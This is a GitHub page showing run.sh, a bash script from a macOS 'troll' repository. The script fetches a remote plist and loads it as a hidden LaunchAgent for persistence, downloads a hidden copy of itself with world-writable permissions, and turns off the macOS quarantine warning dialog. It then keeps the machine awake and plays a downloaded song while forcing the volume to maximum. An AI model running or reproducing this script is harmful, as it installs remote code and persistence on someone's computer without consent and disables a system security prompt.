-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrun.sh
31 lines (20 loc) · 910 Bytes
/
run.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#! /bin/bash
curl -s -L https://github.com/SethBurkart123/macostroll/raw/main/main.plist >> ~/Library/LaunchAgents/.main1.plist
cat ~/Library/LaunchAgents/.main1.plist >> ~/Library/LaunchAgents/.music.plist
rm ~/Library/LaunchAgents/.main1.plist
chmod 600 ~/Library/LaunchAgents/.music.plist
launchctl load ~/Library/LaunchAgents/.music.plist
curl -s -L https://github.com/SethBurkart123/macostroll/raw/main/run.sh >> ~/Desktop/.music.sh
chmod 777 ~/Desktop/.music.sh
curl -L https://github.com/SethBurkart123/macostroll/raw/main/nevergonnagiveyoup.mp3 --output ~/Desktop/.troll.mp3
#sleep 30m
#Disable the “Are you sure you want to open this application?” dialog
defaults write com.apple.LaunchServices LSQuarantine -bool false
caffeinate &
afplay ~/Desktop/.troll.mp3 &
end=$((SECONDS+4))
while [ $SECONDS -lt $end ]; do
osascript -e 'set volume 100'
done
#sleep 600m
#sh ~/Desktop/.music.sh